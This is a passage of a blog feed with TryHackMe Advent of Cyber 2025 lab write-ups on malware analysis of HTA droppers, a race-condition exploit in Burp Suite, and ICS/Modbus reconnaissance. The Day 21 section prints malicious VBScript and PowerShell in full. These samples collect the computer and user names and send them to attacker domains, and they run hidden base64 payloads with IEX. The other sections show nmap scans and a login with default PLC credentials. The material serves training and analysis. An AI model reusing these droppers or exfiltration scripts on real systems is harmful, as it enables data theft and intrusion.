data, like survey questions, to make the file seem authentic. How many questions does the survey have?\n4\nThe questions are at the end of the script. As we can see, there are 4 questions, all using Level 3 Headings:\u0026lt;h3\u0026gt;Question\u0026lt;/h3\u0026gt;.\nQuestion-06: Notice how even in code, social engineering persists, fake incentives like contests or trips hide in plain sight to build trust. The survey entices participation by promising a chance to win a trip to where?\nSouth Pole\nThere is a nice incentive mentioned at the end: \u0026ldquo;All participants will be entered into a prize draw for a chance to win a trip to the South Pole!\u0026rdquo;.\nQuestion-07: The HTA is enumerating information from the local host executing the application. What two pieces of information about the computer it is running on are being exfiltrated? You should provide the two object names separated by commas.\nComputerName,UserName\nThese two lines are the ones where information is gathered from the local system via:\nstrHost = CreateObject(\u0026#34;WScript.Network\u0026#34;).ComputerName strUser = CreateObject(\u0026#34;WScript.Network\u0026#34;).UserName Question-08: What endpoint is the enumerated data being exfiltrated to?\n/details\nThe connection is made with the following command: IE.navigate2 \u0026quot;http://survey.bestfestiivalcompany.com/details?u=\u0026quot; \u0026amp; strUser \u0026amp; \u0026quot;?h=\u0026quot; \u0026amp; strHost\nThe endpoint is /details with two parameters u and h.\nQuestion-09: What HTTP method is being used to exfiltrate the data?\nGET\nGiven that our enumerated data is exfiltrated via URL parameters rather than in the request body, we are dealing with a GET method and not a POST one.\nQuestion-10: After reviewing the function intended to get the survey questions, it seems that the data from the download of the questions is actually being executed. What is the line of code that executes the contents of the download?\nrunObject.Run \u0026quot;powershell.exe -nop -w hidden -c \u0026quot; \u0026amp; feedbackString, 0, False\nWe find it right after a Wscript.Shell object was created.\nQuestion-11: It seems as if the malware site has been taken down, so we cannot download the contents that the malware was executing. Fortunately, one of the elves created a copy when the site was still active. Download the contents from here. What popular encoding scheme was used in an attempt to obfuscate the download?\nbase64\nThis is the full content:\nZnVuY3Rpb24gQUFCQiB7CiAgICBbQ21kbGV0QmluZGluZygpXQogICAgcGFyYW0oCiAgICAgICAgW1BhcmFtZXRlcihNYW5kYXRvcnkpXQogICAgICAgIFtzdHJpbmddJFRleHQKICAgICkKCiAgICAkc2IgPSBOZXctT2JqZWN0IFN5c3RlbS5UZXh0LlN0cmluZ0J1aWxkZXIgJFRleHQuTGVuZ3RoCiAgICBmb3JlYWNoICgkY2ggaW4gJFRleHQuVG9DaGFyQXJyYXkoKSkgewogICAgICAgICRjID0gW2ludF1bY2hhcl0kY2gKCiAgICAgICAgaWYgKCRjIC1nZSA2NSAtYW5kICRjIC1sZSA5MCkgeyAgICAgICAgICAgCiAgICAgICAgICAgICRjID0gKCgkYyAtIDY1ICsgMTMpICUgMjYpICsgNjUKICAgICAgICB9CiAgICAgICAgZWxzZWlmICgkYyAtZ2UgOTcgLWFuZCAkYyAtbGUgMTIyKSB7ICAgICAgCiAgICAgICAgICAgICRjID0gKCgkYyAtIDk3ICsgMTMpICUgMjYpICsgOTcKICAgICAgICB9CgogICAgICAgIFt2b2lkXSRzYi5BcHBlbmQoW2NoYXJdJGMpCiAgICB9CiAgICAkc2IuVG9TdHJpbmcoKQp9CgokZmxhZyA9ICdHVVp7Wm55am5lci5OYW55bGZycX0nCgokZGVjbyA9IEFBQkIgLVRleHQgJGZsYWcKV3JpdGUtT3V0cHV0ICRkZWNv Pasting it into CyberChef and using the Magic recipe helps we identify it as Base64-encoded text.\nQuestion-12: Decode the payload. It seems as if additional steps where taken to hide the malware! What common encryption scheme was used in the script?\nrot13\nUsing the From Base64 recipe on the encoded text, this is what we get:\nfunction AABB { [CmdletBinding()] param( [Parameter(Mandatory)] [string]$Text ) $sb = New-Object System.Text.StringBuilder $Text.Length foreach ($ch in $Text.ToCharArray()) { $c = [int][char]$ch if ($c -ge 65 -and $c -le 90) { $c = (($c - 65 + 13) % 26) + 65 } elseif ($c -ge 97 -and $c -le 122) { $c = (($c - 97 + 13) % 26) + 97 } [void]$sb.Append([char]$c) } $sb.ToString() } $flag = \u0026#39;GUZ{Znyjner.Nanylfrq}\u0026#39; $deco = AABB -Text $flag Write-Output $deco After a quick analysis, we notice that the transformation applied to each character (their ASCII character code) is simply an addition of 13:\nFor uppercase letters A-Z (65-90): (($c - 65 + 13) % 26) For lowercase letters a-z (97-122): (($c - 97 + 13) % 26) Meaning each character is shifted by 13, which corresponds with the ROT13 encoding.\nQuestion-13: Either run the script or decrypt the flag value using online tools such as CyberChef. What is the flag value?\n\u0026lt;redacted-flag\u0026gt;\nSimply add the ROT13-encoded flag \u0026ndash; GUZ{Znyjner.Nanylfrq} \u0026ndash; as the input and apply the ROT13 recipe \u0026ndash; which shifts each letter 13 times \u0026ndash; to arrive at the correct flag.\nQuestion-14: If you enjoyed today\u0026rsquo;s room, you may also like the MalDoc: Static Analysis room.\nNo answer needed\nSideQuest-4 Question: For those who want another challenge, download the HTA file from here to get the key for Side Quest 4, accessible through our Side Quest Hub. The password for the file is CanYouREM3?.\nNo answer needed\nPreparation We download the archive file \u0026ndash; NorthPole.zip \u0026ndash; and verify its presence:\nuser@kali:~$ ls -hla ... -rw-r--r--. 1 user user 530K ... NorthPole.zip user@kali:~$file NorthPole.zip NorthPole.zip: Zip archive data, made by v3.0 UNIX, extract using at least v2.0, last modified, last modified ..., uncompressed size 795747, method=deflate user@kali:~$ We extract the archive using unzip. After entering the password, the archive inflates, leaving an HTA file named NorthPolePerformanceReview.hta:\nuser@kali:~$ unzip NorthPole.zip Archive: NorthPole.zip [NorthPole.zip] NorthPolePerformanceReview.hta password: inflating: NorthPolePerformanceReview.hta user@kali:~$ Examining the HTA file reveals the following structure:\n\u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;North Pole Performance Review 2025\u0026lt;/title\u0026gt; \u0026lt;HTA:APPLICATION ID=\u0026#34;Perf\u0026#34; APPLICATIONNAME=\u0026#34;North Pole Performance Review\u0026#34; BORDER=\u0026#34;dialog\u0026#34; SHOWINTASKBAR=\u0026#34;yes\u0026#34; SINGLEINSTANCE=\u0026#34;yes\u0026#34; WINDOWSTATE=\u0026#34;normal\u0026#34;\u0026gt;\u0026lt;/HTA:APPLICATION\u0026gt; \u0026lt;script language=\u0026#34;VBScript\u0026#34;\u0026gt; Option Explicit Dim s,c,p,fso,t,f p = \u0026#34;JGg9JGVudjpDT01QVVRFUk5BTUUKJHU9JGVudjpVU0VSTkFNRQokaz0yMwokZD0nbmtkWlVCb2REUjBYRnhjYVhsOVRSUmNYRllzWEZ4Uy9IeEVYRnhkcndETzlGeGMzRjE1VFZrTnZ6ZnVxYm84emNHS3c3SWs0Slh5NC9VS3F2cXpDelUxY2ZINDZIeDZXei9adEo1\u0026#34; \u0026amp; _ \u0026#34;RVdkR1NxOW5yM0dad1FENXQycnlIM2ZHd1JlM1QwNW5sMERIU1kwTThVMFhlNTBIZDdGQlVXVlI5ZWY4akh6VXo2UW82Q1hHdnc2UVlHamtockRrN0taMHhWMTI2SUVFT0NBZzRPRGdZSzVweWs2eGtQa1hZUGtYWVBrWFlQa1hZUGtYWVBrWFlQa1hZUGtYWVBrWFlQ\u0026#34; \u0026amp; _ ... \u0026#34;ZygkZCkKZm9yKCRpPTA7JGkgLWx0ICRiLkxlbmd0aDskaSsrKXskYlskaV09JGJbJGldIC1ieG9yICRrfQpJbnZva2UtV2ViUmVxdWVzdCAtVXJpICJodHRwczovL3BlcmYua2luZy1tYWxoYXJlWy5dY29tL2ltYWdlIiAtTWV0aG9kIFBPU1QgLUJvZHkgJGIgLUhl\u0026#34; \u0026amp; _ \u0026#34;YWRlcnMgQHtIPSRoO1U9JHV9Cgo=\u0026#34; Set fso = CreateObject(\u0026#34;Scripting.FileSystemObject\u0026#34;) t = fso.GetSpecialFolder(2) Set f = fso.CreateTextFile(t \u0026amp; \u0026#34;\\stg.b64\u0026#34;, True) f.Write p f.Close Set s = CreateObject(\u0026#34;WScript.Shell\u0026#34;) c = \u0026#34;powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command \u0026#34;\u0026#34;$x=[System.IO.File]::ReadAllText((Join-Path $env:TEMP \u0026#39;stg.b64\u0026#39;)); $s=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($x)); IEX $s\u0026#34;\u0026#34;\u0026#34; s.Run c,0,True \u0026lt;/script\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h2\u0026gt;North Pole Elf Performance Review\u0026lt;/h2\u0026gt; \u0026lt;p\u0026gt;Please complete your end-of-season review. All responses are confidential.\u0026lt;/p\u0026gt; \u0026lt;table\u0026gt; \u0026lt;tr\u0026gt; \u0026lt;td\u0026gt;Elf Name:\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;\u0026lt;input type=\u0026#34;text\u0026#34; id=\u0026#34;elfName\u0026#34; value=\u0026#34;Anonymous Elf\u0026#34;\u0026gt;\u0026lt;/td\u0026gt; \u0026lt;/tr\u0026gt; \u0026lt;tr\u0026gt; \u0026lt;td\u0026gt;Workshop:\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt; \u0026lt;select id=\u0026#34;workshop\u0026#34;\u0026gt; \u0026lt;option\u0026gt;Toy Assembly\u0026lt;/option\u0026gt; \u0026lt;option\u0026gt;Wrapping\u0026lt;/option\u0026gt; \u0026lt;option\u0026gt;Logistics\u0026lt;/option\u0026gt; \u0026lt;option\u0026gt;QA \u0026amp; Testing\u0026lt;/option\u0026gt; \u0026lt;/select\u0026gt; \u0026lt;/td\u0026gt; \u0026lt;/tr\u0026gt; \u0026lt;tr\u0026gt; \u0026lt;td\u0026gt;Morale (1-5):\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt; \u0026lt;select id=\u0026#34;morale\u0026#34;\u0026gt; \u0026lt;option\u0026gt;1 - Struggling\u0026lt;/option\u0026gt; \u0026lt;option\u0026gt;2 - Tired\u0026lt;/option\u0026gt; \u0026lt;option\u0026gt;3 - Okay\u0026lt;/option\u0026gt; \u0026lt;option\u0026gt;4 - Happy\u0026lt;/option\u0026gt; \u0026lt;option\u0026gt;5 - Overjoyed\u0026lt;/option\u0026gt; \u0026lt;/select\u0026gt; \u0026lt;/td\u0026gt; \u0026lt;/tr\u0026gt; \u0026lt;tr\u0026gt; \u0026lt;td\u0026gt;Overtime Hours:\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;\u0026lt;input type=\u0026#34;text\u0026#34; id=\u0026#34;ot\u0026#34; value=\u0026#34;0\u0026#34;\u0026gt;\u0026lt;/td\u0026gt; \u0026lt;/tr\u0026gt; \u0026lt;/table\u0026gt; \u0026lt;p\u0026gt; \u0026lt;button onclick=\u0026#34;window.close()\u0026#34;\u0026gt;Submit Review\u0026lt;/button\u0026gt; \u0026lt;/p\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; Static code analysis The script performs the following actions:\nStores a Base64-encoded PowerShell payload in the variable p. Writes this payload to a temporary file \u0026ndash; stg.b64 \u0026ndash; in the Windows temp directory. The script then executes a PowerShell command that:\nReads the Base64-encoded file from the temp folder. Decodes it back to plain text. Executes the decoded script using IEX (Invoke-Expression) \u0026ndash; a living-off-the-land technique that runs code directly in memory without writing it to disk. Reverse engineering the payload With an overall understanding established, we copy the payload and decode it using CyberChef.\nNote that \u0026amp; _ is VBScript line continuation syntax; the script concatenates these segments into one Base64 string.\n$h=$env:COMPUTERNAME $u=$env:USERNAME $k=23 $d=\u0026#39;nkdZUBodDR0XFxcaXl9TRRcXFYsXFxS/HxEXFxdrwDO9Fxc3F15TVkN...6Rj7c4/u+Oi6sBcXFxdeUllTuVV3lQ==\u0026#39; $b=[System.Convert]::FromBase64String($d) for($i=0;$i -lt $b.Length;$i++){$b[$i]=$b[$i] -bxor $k} Invoke-WebRequest -Uri \u0026#34;https://perf.king-malhare[.]com/image\u0026#34; -Method POST -Body $b -Headers @{H=$h;U=$u} The script collects computer information and transmits it to an attacker\u0026rsquo;s server. Here is a breakdown of its operation:\n$h=$env:COMPUTERNAME \u0026ndash; Gets your computer name\n$u=$env:USERNAME \u0026ndash; Gets your username\n$k=23 \u0026ndash; Sets a decryption key (the number 23)\n$d='nkdZUBod...eu3slKazf8ny8C+/' \u0026ndash; Base64-encoded malicious payload\n$b=[System.Convert]::FromBase64String($d) \u0026ndash; Decodes the Base64 string into binary data\nfor($i=0;$i -lt $b.Length;$i++){$b[$i]=$b[$i] -bxor $k} \u0026ndash; XOR decrypts the payload using key 23 (bitwise XOR operation)\nInvoke-WebRequest ... -Uri \u0026quot;https://perf.king-malhare[.]com/image [blocked]\u0026quot; -Method POST -Body $b -Headers @{H=$h;U=$u} \u0026ndash; Sends the decrypted payload to the attacker\u0026rsquo;s server as a POST request, with your computer name and username in the headers\nTo recover the original payload, we Base64-decode the payload stored in variable $d, then apply XOR with key 23.\nApply the From Base64 recipe to the payload stored in the $d variable, then apply the XOR recipe with a 23 decimal key.\nThe full recipe in JSON format appears as follows:\n[ { \u0026#34;op\u0026#34;: \u0026#34;From Base64\u0026#34;, \u0026#34;args\u0026#34;: [\u0026#34;A-Za-z0-9+/=\u0026#34;, true, false] }, { \u0026#34;op\u0026#34;: \u0026#34;XOR\u0026#34;, \u0026#34;args\u0026#34;: [{ \u0026#34;option\u0026#34;: \u0026#34;Decimal\u0026#34;, \u0026#34;string\u0026#34;: \u0026#34;23\u0026#34; }, \u0026#34;Standard\u0026#34;, false] } ] The recipe in CyberChef:\nFigure 1: CyberChef recipe for decoding the malicious payload\nSave the decrypted output to an image file: Save output to file \u0026gt; easter-egg.png \u0026gt; OK.\nThe decrypted easter egg reveals the Side Quest key:\n","permalink":"https://onebee.blog/blog/thm/aoc25/day-21/","summary":"TryHackMe | Advent of Cyber 2025 | Day 21: Malware Analysis - Malhare.exe + Side Quest 4 Key Challenge","title":"AOC25 | Day-21 + SQK4"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nEvent: Advent of Cyber 2025\nDay: 20\nTitle: Race Conditions - Toy to The World Description\nLearn how to exploit a race condition attack to oversell the limited-edition SleighToy.\nSummary\nWe exploit race conditions where multiple simultaneous requests access shared resources before the system updates them. We configure Burp Suite to duplicate a checkout request 15 times and send all copies in parallel, triggering a timing flaw that processes multiple orders before inventory updates. We successfully oversell limited items and obtain the challenge flags.\nStoryline\nThe Best Festival Company oversold a limited-edition SleighToy due to a checkout system timing flaw that allowed simultaneous purchases of only ten available pieces. Sir Carrotbane\u0026rsquo;s Bandit Bunnies exploited the vulnerability with rapid clicks, and investigator McSkidy uncovered how milliseconds of delay caused the inventory crisis.\nTheory Race conditions occur when multiple simultaneous actions compete to access or modify shared resources, and the system\u0026rsquo;s outcome depends on their execution order.\nIn web applications, this can lead to duplicate transactions, oversold inventory, or unauthorized data changes. There are three main types.\nMain Types\nTime-of-Check to Time-of-Use (TOCTOU)\nData changes between when it is checked and when it is used. Two users buy the same last item simultaneously because stock was checked before updating. Shared Resource\nMultiple users modify the same data without proper controls; the last update wins. Two cashiers updating the same spreadsheet, one overwriting the other\u0026rsquo;s work. Atomicity Violation\nPart of a process completes while another request interrupts, causing inconsistency. Payment records but order confirmation fails due to a price change mid-transaction. Mitigation Strategies\nUse atomic database transactions to bundle stock deduction and order creation as a single operation. Validate stock availability immediately before committing transactions. Implement idempotency keys to prevent duplicate request processing. Apply rate limiting and concurrency controls to block rapid repeated attempts. Practice Steps to Exploit a Race Condition Steps to exploit a race condition in a shopping cart application:\nSetup \u0026ndash; Configure Firefox to route traffic through Burp Suite or use its default browser.\nCapture \u0026ndash; Make a legitimate checkout request and capture it; view it in Burp\u0026rsquo;s HTTP history.\nProxy \u0026gt; HTTP history \u0026gt; select the specific POST request \u0026gt; right-click then Send to Repeater.\nDuplicate \u0026ndash; Create 15 identical copies of the checkout request. In Repeater \u0026gt; right-click then Add tab to group \u0026gt; Create tab group \u0026gt; name it \u0026gt; right-click then Duplicate tab \u0026gt; enter the number of copies you want.\nExecute \u0026ndash; Send all requests simultaneously using Send group in parallel. Send dropdown in Repeater \u0026gt; Send group in parallel (last-byte sync)\nSets the Send configuration to launch all copies at once and to wait for the final byte from each response, which maximizes the timing overlap to trigger race conditions. Send dropdown in Repeater \u0026gt; Send group (parallel)\nActually launches all requests simultaneously: the server attempting to handle them simultaneously triggers the timing bug (multiple orders being processed at once). Result \u0026ndash; The server processes multiple orders before updating inventory, allowing overselling and driving stock into negative values. Attacking the TBFC Shop Step-1: Setup\nRegarding the questions, for step 1, let us use Burp Suite\u0026rsquo;s built-in Chromium browser.\nLaunch Burp Suite, head over to the Proxy tab, use the Intercept sub-tab, and then click on Open browser. Make sure intercept is turned off.\nStep-2: Capture\nFor step 2, we use the credentials:\nUsername: attacker Password: attacker@123 Once logged in, make the sample purchase: Add to cart \u0026gt; Checkout \u0026gt; Confirm \u0026amp; Pay.\nThen we head over to the Proxy tab in Burp Suite, select the specific POST request, and send it to Repeater:\nProxy \u0026gt; HTTP history \u0026gt; select the specific POST request \u0026gt; right-click then Send to Repeater.\nStep-3: Duplicate\nMoving on to step 3, use the following guide to create 15 copies of the specific POST request:\nIn Repeater \u0026gt; right-click then Add tab to group \u0026gt; Create tab group \u0026gt; name it \u0026gt; right-click then Duplicate tab \u0026gt; enter 15 as the number of copies you want. Step-4: Execute\nThen, in step 4, it is time to finally send the requests and exploit the race condition vulnerability:\nSend dropdown in Repeater \u0026gt; Send group in parallel (last-byte sync) will select the desired Send configuration.\nSend dropdown in Repeater \u0026gt; Send group (parallel) will actually send them in parallel.\nStep-5: Result\nAs for step 5, let us move back to our browser and refresh the shopping web application. We are provided with a flag if the race condition for that specific item was successfully exploited.\nThis is how it looks for the SleighToy Limited Edition item, which provides us with the first flag:\nFigure 1: Web application showing negative stock count for SleighToy Limited Edition with flag displayed\nThen we repeat steps 1 through 5 again for the Bunny Plush (Blue) item, landing us the second flag:\nFigure 2: Web application showing negative stock count for Bunny Plush Blue with flag displayed\nQuestions and Answers Question-1: What is the flag value once the stocks are negative for SleighToy Limited Edition?\n\u0026lt;redacted-flag\u0026gt;\nQuestion-2: Repeat the same steps as were done for ordering the SleighToy Limited Edition. What is the flag value once the stocks are negative for Bunny Plush (Blue)?\n\u0026lt;redacted-flag\u0026gt;\nQuestion-3: Feel free to check out the Race Conditions room if you enjoyed this task.\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/aoc25/day-20/","summary":"TryHackMe | Advent of Cyber 2025 | Day 20: Race Conditions - Toy to The World","title":"AOC25 | Day-20"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nEvent: Advent of Cyber 2025\nDay: 19\nTitle: ICS/Modbus - Claus for Concern\nBonus: Triggering the Trap Description\nLearn to identify and exploit weaknesses in ICS systems.\nSummary\nWe investigate a compromised SCADA system where the EGGSPLOIT v6.66 attack sabotages drone deliveries. We learn that Modbus TCP on port 502 lacks built-in security, allowing anyone with network access to read or write values.\nDuring reconnaissance, we identify an OpenPLC Webserver on port 8080 and access it with default credentials. We then connect to the Modbus TCP interface using Python\u0026rsquo;s pymodbus library and run a reconnaissance script confirming the system is compromised with an active trap.\nWe execute a restoration script that disables the protection mechanism, resets the package type, enables inventory verification, and activates audit logging \u0026ndash; successfully restoring the system and retrieving the flag from holding register 20. We then intentionally trigger the trap to observe the self-destruct mechanism, and finally clean up our Python environment.\nStoryline\nA cyberattack has sabotaged TBFC\u0026rsquo;s drone delivery system during Christmas. Delivery drones are successfully completing routes but with wrong cargo—customers receive Easter chocolate eggs instead of ordered presents. The attack (EGGSPLOIT v6.66) has manipulated sensor data and inventory selection while erasing traces.\nThe mission: investigate the compromised system, expose the breach, and restore legitimate deliveries before Christmas is ruined—while avoiding traps the attacker has left behind.\nMysterious Discovery Paper - Register Layout TBFC DRONE CONTROL - REGISTER MAP\n(For maintenance use only)\nHOLDING REGISTERS:\nHR0: Package Type Selection\n0 = Christmas Gifts\n1 = Chocolate Eggs\n2 = Easter Baskets\nHR1: Delivery Zone (1-9 normal, 10 = ocean dump!)\nHR4: System Signature/Version\nDefault: 100\nCurrent: ??? (check this!)\nCOILS (Boolean Flags):\nC10: Inventory Verification\nTrue = System checks actual stock\nFalse = Blind operation\nC11: Protection/Override\nTrue = Changes locked/monitored\nFalse = Normal operation\nC12: Emergency Dump Protocol\nTrue = DUMP ALL INVENTORY\nFalse = Normal\nC13: Audit Logging\nTrue = All changes logged\nFalse = No logging\nC14: Christmas Restored Flag\n(Auto-set when system correct)\nC15: Self-Destruct Status\n(Auto-armed on breach)\nCRITICAL: Never change HR0 while C11=True!\nWill trigger countdown!\nMaintenance Tech, \u0026hellip;\nTheory SCADA SCADA (Supervisory Control and Data Acquisition) systems are the central command centers of industrial operations, functioning like a factory\u0026rsquo;s nervous system by sensing conditions, processing information, and sending commands to machines.\nSCADA systems consist of four essential parts:\nSensors and actuators: Measure real-world conditions and perform physical actions. PLCs (Programmable Logic Controllers): Execute automation logic and make decisions. Monitoring systems: Like dashboards and cameras that provide visual feedback to operators. Historians - databases: That store operational data for analysis and incident investigation. SCADA systems are prime attack targets because they typically run unpatched legacy software with default credentials unchanged, were designed for reliability rather than security in closed networks, control physical infrastructure with real-world consequences, often connect to corporate networks, and use weak protocols like Modbus that lack authentication.\nQuestion: What port is commonly used by Modbus TCP?\n502\nPLC \u0026amp; Modbus Protocol PLCs (Programmable Logic Controllers) are specialized industrial computers designed for extreme reliability and continuous operation in harsh environments.\nThey control machinery and processes 24/7 without rebooting, respond to sensor inputs in milliseconds, and interface directly with physical hardware like motors and valves.\nModbus is an industrial communication protocol created in 1979 that allows devices to exchange data through simple request-response interactions. It organizes data into four types:\nCoils (digital outputs) Discrete inputs (digital inputs) Holding registers (analog outputs) Input registers (analog inputs). Each data point has a unique address starting from 0. Coils and Holding Registers are writeable, Discrete Inputs and Input Registers are read-only.\nModbus exists in two forms:\nThe original serial Modbus (using RS-232/RS-485 cables with inherent physical isolation). Modern Modbus TCP (which runs over standard networks on port 502, enabling remote monitoring but increasing vulnerability). The critical weakness is that Modbus has no built-in security \u0026ndash; it lacks authentication, encryption, authorization, and integrity checking. Anyone who can access the network port can read or write any value.\nWhile modern security solutions like VPNs and firewalls can add protection, many industrial facilities remain unprotected due to cost, legacy equipment compatibility, or lack of awareness.\nQuestion: Now that you understand how the system works, the mission is yours, hack it back and save Christmas!\nNo answer needed\nPractice Reconnaissance We start with a default TCP port scan, checking all TCP ports:\nuser@kali:~$ nmap -p- 10.114.158.169 ... PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 102/tcp open iso-tsap 502/tcp open mbap 8080/tcp open http-proxy 44818/tcp open EtherNetIP-2 ... user@kali:~$ Several ports are reported open. Let us gather more information with an all-scan:\nuser@kali:~$ nmap -A -p22,80,102,502,8080,44818 10.114.158.169 ... PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0) ... 80/tcp open http Werkzeug httpd 3.1.3 (Python 3.12.3) |_http-server-header: Werkzeug/3.1.3 Python/3.12.3 |_http-title: PLC CCTV Simulator 102/tcp open iso-tsap Siemens S7 PLC | s7-info: | Module: 6ES7 315-2EH14-0AB0 | Basic Hardware: 6ES7 315-2EH14-0AB0 | Version: 3.2.6 | System Name: SNAP7-SERVER | Module Type: CPU 315-2 PN/DP | Serial Number: S C-C2UR28922012 |_ Copyright: Original Siemens Equipment ... 502/tcp open modbus Modbus TCP 8080/tcp open http Werkzeug httpd 2.3.7 (Python 3.12.3) | http-title: Site doesn't have a title (text/html; charset=utf-8). |_Requested resource was /login |_http-server-header: Werkzeug/2.3.7 Python/3.12.3 44818/tcp open EtherNetIP-2? ... Device type: general purpose|phone Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (96%), Google Android 10.X|11.X|12.X (93%) OS CPE: cpe:/o:linux:linux_kernel:4 cpe ... Aggressive OS guesses: Linux 4.15 - 5.19 (96%) ... Network Distance: 3 hops ... user@kali:~$ To summarize, we have:\np22: OpenSSH p80: PLC CCTV Simulator p102: Siemens S7 PLC—SNAP7-SERVER p502: Modbus TCP p8080: Werkzeug Web Server p44818: EtherNetIP-2 Let us examine the two web servers first: port 80 and 8080.\nThe PLC CCTV Simulator running on port 80 indicates a compromised system:\nStatus reporting: \u0026ldquo;Status: Compromised (Disarmed)\u0026rdquo; Via video feed: Instead of gifts, eggs are loaded on the conveyor belts. Figure 1: PLC CCTV Simulator showing compromised system status\nMoving on, port 8080 presents a potential admin panel running an OpenPLC Webserver.\nFigure 2: OpenPLC Webserver login page on port 8080\nGiven the priorities of SCADA systems \u0026ndash; security is not the foremost concern \u0026ndash; let us try the default credentials:\nUsername: openplc Password: openplc The credentials work, and we gain access.\nFigure 3: OpenPLC Dashboard accessed with default credentials\nSeveral actions are available via the Dashboard:\nCheck the Runtime Logs Check the current programs (launch, update, remove) and upload our own Add a new slave device Monitor and change the OpenPLC Hardware Layer Modify the current user info or add a new user Modify the server settings (change Modbus Server port) We note these capabilities and proceed to examine the other ports as outlined in the room.\nPort 102, the Siemens S7 PLC appears to be a Snap7 server that either emulates or proxies a Siemens S7 PLC. We could use the Python snap7 library to interface with it.\nModBus Interface Port 502 serves as the interface for Modbus TCP, which we can access via the Python pymodbus library.\nTo install the library, we first create a Python environment, activate it, and then install the Python Modbus library:\nuser@kali:~$ python3 -m venv ModBusEnvironment user@kali:~$ source ModBusEnvironment/bin/activate (ModBusEnvironment) user@kali:~$ pip3 install pymodbus==3.6.8 ... Successfully installed pymodbus-3.6.8 ... (ModBusEnvironment) user@kali:~$ Let us perform a quick connection test:\n(ModBusEnvironment) user@kali:~$ python3 ... \u003e\u003e\u003e from pymodbus.client import ModbusTcpClient \u003e\u003e\u003e client = ModbusTcpClient('10.114.158.169', port=502) \u003e\u003e\u003e client.connect() True \u003e\u003e\u003e quit() ... (ModBusEnvironment) user@kali:~$ We have verified that we can connect and communicate via ModBus TCP.\nRegister States Let us use the provided reconnaissance script \u0026ndash; reconnaissance.py \u0026ndash; to gather information about the register states:\n#!/usr/bin/env python3 from pymodbus.client import ModbusTcpClient PLC_IP = \u0026#34;10.114.158.169\u0026#34; PORT = 502 UNIT_ID = 1 # Connect to PLC client = ModbusTcpClient(PLC_IP, port=PORT) if not client.connect(): print(\u0026#34;Failed to connect to PLC\u0026#34;) exit(1) print(\u0026#34;=\u0026#34; * 60) print(\u0026#34;TBFC Drone System - Reconnaissance Report\u0026#34;) print(\u0026#34;=\u0026#34; * 60) print() # Read holding registers print(\u0026#34;HOLDING REGISTERS:\u0026#34;) print(\u0026#34;-\u0026#34; * 60) registers = client.read_holding_registers(address=0, count=5, slave=UNIT_ID) if not registers.isError(): hr0, hr1, hr2, hr3, hr4 = registers.registers print(f\u0026#34;HR0 (Package Type): {hr0}\u0026#34;) print(f\u0026#34; 0=Christmas, 1=Eggs, 2=Baskets\u0026#34;) print() print(f\u0026#34;HR1 (Delivery Zone): {hr1}\u0026#34;) print(f\u0026#34; 1-9=Normal zones, 10=Ocean dump\u0026#34;) print() print(f\u0026#34;HR4 (System Signature): {hr4}\u0026#34;) if hr4 == 666: print(f\u0026#34; WARNING: Eggsploit signature detected\u0026#34;) print() # Read coils print(\u0026#34;COILS (Boolean Flags):\u0026#34;) print(\u0026#34;-\u0026#34; * 60) coils = client.read_coils(address=10, count=6, slave=UNIT_ID) if not coils.isError(): c10, c11, c12, c13, c14, c15 = coils.bits[:6] print(f\u0026#34;C10 (Inventory Verification): {c10}\u0026#34;) print(f\u0026#34; Should be True\u0026#34;) print() print(f\u0026#34;C11 (Protection/Override): {c11}\u0026#34;) if c11: print(f\u0026#34; ACTIVE - System monitoring for changes\u0026#34;) print() print(f\u0026#34;C12 (Emergency Dump): {c12}\u0026#34;) if c12: print(f\u0026#34; CRITICAL: Dump protocol active\u0026#34;) print() print(f\u0026#34;C13 (Audit Logging): {c13}\u0026#34;) print(f\u0026#34; Should be True\u0026#34;) print() print(f\u0026#34;C14 (Christmas Restored): {c14}\u0026#34;) print(f\u0026#34; Auto-set when system is fixed\u0026#34;) print() print(f\u0026#34;C15 (Self-Destruct Armed): {c15}\u0026#34;) if c15: print(f\u0026#34; DANGER: Countdown active\u0026#34;) print() print(\u0026#34;=\u0026#34; * 60) print(\u0026#34;THREAT ASSESSMENT:\u0026#34;) print(\u0026#34;=\u0026#34; * 60) if hr4 == 666: print(\u0026#34;Eggsploit framework detected\u0026#34;) if c11: print(\u0026#34;Protection mechanism active - trap is set\u0026#34;) if hr0 == 1: print(\u0026#34;Package type forced to eggs\u0026#34;) if not c10: print(\u0026#34;Inventory verification disabled\u0026#34;) if not c13: print(\u0026#34;Audit logging disabled\u0026#34;) print() print(\u0026#34;REMEDIATION REQUIRED\u0026#34;) print(\u0026#34;=\u0026#34; * 60) client.close() Though it may appear complex, the script performs the following actions:\nEstablishes a connection to the target box via port 502 with ModbusTcpClient.connect() Reads the states of the holding registers \u0026ndash; hr0, hr1, hr2, hr3, hr4 \u0026ndash; with read_holding_registers() Reads the states of the coil registers \u0026ndash; c10, c11, c12, c13, c14, c15 \u0026ndash; with read_coils() Checks the system and the trap \u0026ndash; hr4, c11, hr0, c10, c13 We paste it with mousepad reconnaissance.py, save it, and then run it inside our custom environment:\n(ModBusEnvironment) user@kali:~$ cd ModBusEnvironment (ModBusEnvironment) user@kali:~/ModBusEnvironment$ mousepad reconnaissance.py (ModBusEnvironment) user@kali:~/ModBusEnvironment$ python3 reconnaissance.py ============================================================ TBFC Drone System - Reconnaissance Report ============================================================ HOLDING REGISTERS: ------------------------------------------------------------ HR0 (Package Type): 1 0=Christmas, 1=Eggs, 2=Baskets HR1 (Delivery Zone): 5 1-9=Normal zones, 10=Ocean dump HR4 (System Signature): 666 WARNING: Eggsploit signature detected COILS (Boolean Flags): ------------------------------------------------------------ C10 (Inventory 